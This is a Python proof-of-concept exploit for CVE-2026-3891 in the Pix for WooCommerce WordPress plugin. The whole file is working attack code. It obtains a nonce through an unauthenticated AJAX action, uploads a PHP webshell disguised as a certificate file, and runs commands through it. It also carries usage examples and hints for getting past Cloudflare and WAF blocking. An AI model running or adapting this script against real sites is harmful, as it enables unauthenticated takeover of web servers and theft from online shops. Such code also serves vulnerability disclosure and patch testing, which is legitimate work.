#!/usr/bin/env python3 # -*- coding: utf-8 -*- # ____ _____ _ _ ____ ____ ____ ____ ____ _ _ ___ _ _ __ __ ___ ___ _ _ # ( _ \( _ )( \/\/ )( ___)( _ \( ___)( _ \ ( _ \( \/ ) / __)( )_( )/. |/ )(__ \ / _ \( \( ) # )___/ )(_)( ) ( )__) ) / )__) )(_) ) ) _ < \ / ( (__ ) _ ((_ _))( / _/( (_) )) ( # (__) (_____)(__/\__)(____)(_)\_)(____)(____/ (____/ (__) \___)(_) (_) (_)(__)(____)\___/(_)\_) """ CVE-2026-3891 PoC — Unauthenticated Arbitrary File Upload to RCE in Pix for WooCommerce <= 1.5.0 Owner: Ch4120N This critical vulnerability exists in the 'lkn_pix_for_woocommerce_c6_save_settings' AJAX handler due to missing authorization controls and insufficient file type validation. An unauthenticated attacker can upload arbitrary files (including PHP) to a web-accessible directory, leading to remote code execution. """ import argparse import sys import time import requests from typing import Dict, Any DEFAULT_FILENAME = "woocommerce.php" DEFAULT_PAYLOAD = '' WP_AJAX_PATH = "/wp-admin/admin-ajax.php" UPLOAD_DIR = "wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6" HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.9", "Accept-Encoding": "gzip, deflate, br", "X-Requested-With": "XMLHttpRequest", } def info(msg: str) -> None: """[ * ] informational message""" print(f"[ * ] {msg}") def success(msg: str) -> None: """[ + ] success message""" print(f"[ + ] {msg}") def error(msg: str) -> None: """[ - ] error message""" print(f"[ - ] {msg}") def warning(msg: str) -> None: """[ ! ] warning message""" print(f"[ ! ] {msg}") def banner() -> None: """Display ASCII banner""" print(r""" ___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __ / __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ ) ( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )( \___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__) [CVE-2026-3891] Pix for WooCommerce Unauthenticated File Upload Owner: Ch4120N """) def create_session(target: str, timeout: int) -> requests.Session: """ Create and warm-up a requests.Session with browser-like headers. Args: target: Base URL of the WordPress site. timeout: Request timeout in seconds. Returns: Configured requests.Session. """ session = requests.Session() headers = HEADERS.copy() headers["Origin"] = target headers["Referer"] = f"{target}/" session.headers.update(headers) info("Warming up session (fetching homepage)...") try: resp = session.get(target, timeout=timeout, allow_redirects=True) info(f"Homepage status: {resp.status_code}") if resp.status_code == 403: error("HTTP 403 Forbidden - likely blocked by Cloudflare.") warning("Try using a VPN, different IP, or a tool like cloudscraper.") sys.exit(1) server_header = resp.headers.get("Server", "").lower() if "cf-ray" in resp.headers or "cf-mitigated" in server_header: info("Cloudflare detected - session cookies captured.") time.sleep(1) except requests.exceptions.RequestException as e: warning(f"Homepage request failed: {e}") return session def fetch_nonce(session: requests.Session, ajax_url: str, timeout: int, max_retries: int) -> str: """ Obtain a valid WordPress nonce for the vulnerable AJAX action. Args: session: Active requests.Session. ajax_url: Full URL to admin-ajax.php. timeout: Request timeout. max_retries: Maximum number of attempts. Returns: Valid nonce string. """ for attempt in range(1, max_retries + 1): info(f"Requesting nonce (attempt {attempt}/{max_retries})...") try: resp = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_generate_nonce", "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce" }, timeout=timeout ) except requests.exceptions.Timeout: error("Request timed out.") if attempt < max_retries: info("Retrying in 2 seconds...") time.sleep(2) continue sys.exit(1) except requests.exceptions.ConnectionError as e: error(f"Connection error: {e}") sys.exit(1) info(f"Response status: {resp.status_code}") # Cloudflare / WAF detection if resp.status_code == 403: error("HTTP 403 - Cloudflare/WAF blocking.") if "cf-ray" in resp.headers: info(f"CF-Ray: {resp.headers['cf-ray']}") if attempt < max_retries: info("Retrying in 3 seconds...") time.sleep(3) continue else: warning("All retries exhausted. Cloudflare protection active.") sys.exit(1) if resp.status_code != 200: error(f"Unexpected HTTP status: {resp.status_code}") info(f"Response preview: {resp.text[:500]}") if attempt < max_retries: time.sleep(2) continue sys.exit(1) content_type = resp.headers.get("Content-Type", "") if "text/html" in content_type: error("Received HTML instead of JSON - likely a Cloudflare challenge.") info(f"Content-Type: {content_type}") info(f"Body preview: {resp.text[:300]}") if attempt < max_retries: time.sleep(3) continue warning("Cannot bypass JS challenge with plain HTTP requests.") warning("Try using 'cloudscraper' or 'playwright'.") sys.exit(1) # Parse JSON try: data: Dict[str, Any] = resp.json() except ValueError: error("Response is not valid JSON.") info(f"Body preview: {resp.text[:500]}") sys.exit(1) # Response structure analysis if isinstance(data, int): error(f"WordPress returned bare integer: {data}") if data == 0: warning("AJAX action not registered - is the plugin installed & active?") elif data == -1: warning("Nonce verification failed or user unauthorized.") if attempt < max_retries: time.sleep(2) continue sys.exit(1) if not isinstance(data, dict): error(f"Unexpected response type: {type(data).__name__}. Value: {data}") sys.exit(1) if not data.get("success") and "data" not in data: error(f"Request failed. Full response: {data}") sys.exit(1) payload = data.get("data", {}) if isinstance(payload, int): error(f"'data' field is an integer ({payload}), expected object.") warning("The action exists but returned an error code.") sys.exit(1) if not isinstance(payload, dict) or "nonce" not in payload: error(f"Unexpected 'data' structure: {payload}") sys.exit(1) nonce = payload["nonce"] success(f"Nonce obtained: {nonce}") return nonce error("Failed to obtain nonce after all retries.") sys.exit(1) def upload_payload(session: requests.Session, ajax_url: str, nonce: str, filename: str, content: str, timeout: int) -> bool: """ Upload the PHP file using the vulnerable AJAX handler. Args: session: Authenticated session. ajax_url: admin-ajax.php endpoint. nonce: Valid security nonce. filename: Name of the file to be written. content: PHP code to place inside. timeout: Request timeout. Returns: True if server reports success, False otherwise. """ info(f"Uploading payload as {filename}...") try: resp = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_c6_save_settings", "_ajax_nonce": nonce }, files={ "certificate_crt_path": (filename, content, "text/plain") }, timeout=timeout ) except requests.exceptions.RequestException as e: error(f"Upload request failed: {e}") return False info(f"Upload response status: {resp.status_code}") try: result = resp.json() except ValueError: error(f"Upload response is not valid JSON: {resp.text[:500]}") return False if isinstance(result, int): error(f"Upload returned bare integer: {result}") return False if not result.get("success"): error("Upload failed according to server response.") info(f"Response: {resp.text}") return False success("Payload delivered to server.") return True def verify_upload(target: str, filename: str, timeout: int) -> bool: """ Check if the uploaded file is publicly accessible (HTTP 200). Args: target: Base URL of the target. filename: Name of the uploaded file. timeout: Request timeout. Returns: True if accessible, False otherwise. """ url = f"{target}/{UPLOAD_DIR}/{filename}" info(f"Verifying uploaded file at: {url}") try: r = requests.head(url, timeout=timeout, allow_redirects=False) if r.status_code == 200: success("File is accessible (HTTP 200).") return True else: warning(f"File returned HTTP {r.status_code} - may not be accessible.") return False except requests.exceptions.RequestException as e: warning(f"Verification request failed: {e}") return False def run_check_command(target: str, filename: str, timeout: int) -> None: """ Execute 'id' command on the uploaded webshell to confirm RCE. Args: target: Base URL. filename: Uploaded file name. timeout: Request timeout. """ url = f"{target}/{UPLOAD_DIR}/{filename}?cmd=id" info("Checking shell with command: id") try: r = requests.get(url, timeout=timeout) if r.status_code == 200 and r.text.strip(): success("Command output:") print(r.text) else: warning(f"Shell did not return expected output (status {r.status_code}).") except requests.exceptions.RequestException as e: error(f"Check request failed: {e}") def build_arg_parser() -> argparse.ArgumentParser: """Build and return the argument parser with detailed help.""" desc = ( "CVE-2026-3891 — Unauthenticated Arbitrary File Upload leading to Remote Code Execution\n" "in Pix for WooCommerce <= 1.5.0\n\n" ) epilog = ( "Usage Examples:\n" " python %(prog)s https://target.com\n" " python %(prog)s https://target.com -f shell.php -p ''\n" " python %(prog)s https://target.com --check --timeout 20\n\n" "After successful upload, test the webshell:\n" " curl \"https://target.com/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php?cmd=id\"\n" ) parser = argparse.ArgumentParser( description=desc, epilog=epilog, formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument( "target", help="Base URL of the WordPress site (e.g., https://example.com)" ) parser.add_argument( "-f", "--filename", default=DEFAULT_FILENAME, help=f"Name of the uploaded file (default: {DEFAULT_FILENAME})" ) parser.add_argument( "-p", "--payload", default=DEFAULT_PAYLOAD, help="PHP code to upload (default: simple cmd webshell)" ) parser.add_argument( "-t", "--timeout", type=int, default=15, help="Request timeout in seconds (default: 15)" ) parser.add_argument( "-r", "--retries", type=int, default=2, help="Maximum retries for nonce retrieval (default: 2)" ) parser.add_argument( "--no-banner", action="store_true", help="Suppress the ASCII banner" ) parser.add_argument( "--no-verify", action="store_true", help="Skip the post-upload file accessibility check" ) parser.add_argument( "--check", action="store_true", help="After upload, execute 'id' command on the webshell and display output" ) return parser def main() -> None: parser = build_arg_parser() args = parser.parse_args() if not args.no_banner: banner() # Normalize target URL target = args.target.rstrip("/") if not target.startswith(("http://", "https://")): target = f"http://{target}" ajax_url = f"{target}{WP_AJAX_PATH}" # 1. Session warm-up session = create_session(target, args.timeout) # 2. Obtain nonce nonce = fetch_nonce(session, ajax_url, args.timeout, args.retries) # 3. Upload payload if not upload_payload(session, ajax_url, nonce, args.filename, args.payload, args.timeout): error("Exploit failed during upload. Exiting.") sys.exit(1) # 4. Verification (unless disabled) if not args.no_verify: verify_upload(target, args.filename, args.timeout) uploaded_url = f"{target}/{UPLOAD_DIR}/{args.filename}" success(f"Webshell URL: {uploaded_url}") # 5. Optional command execution check if args.check: run_check_command(target, args.filename, args.timeout) if __name__ == "__main__": try: main() except KeyboardInterrupt: warning("\nUser interrupted.") sys.exit(0)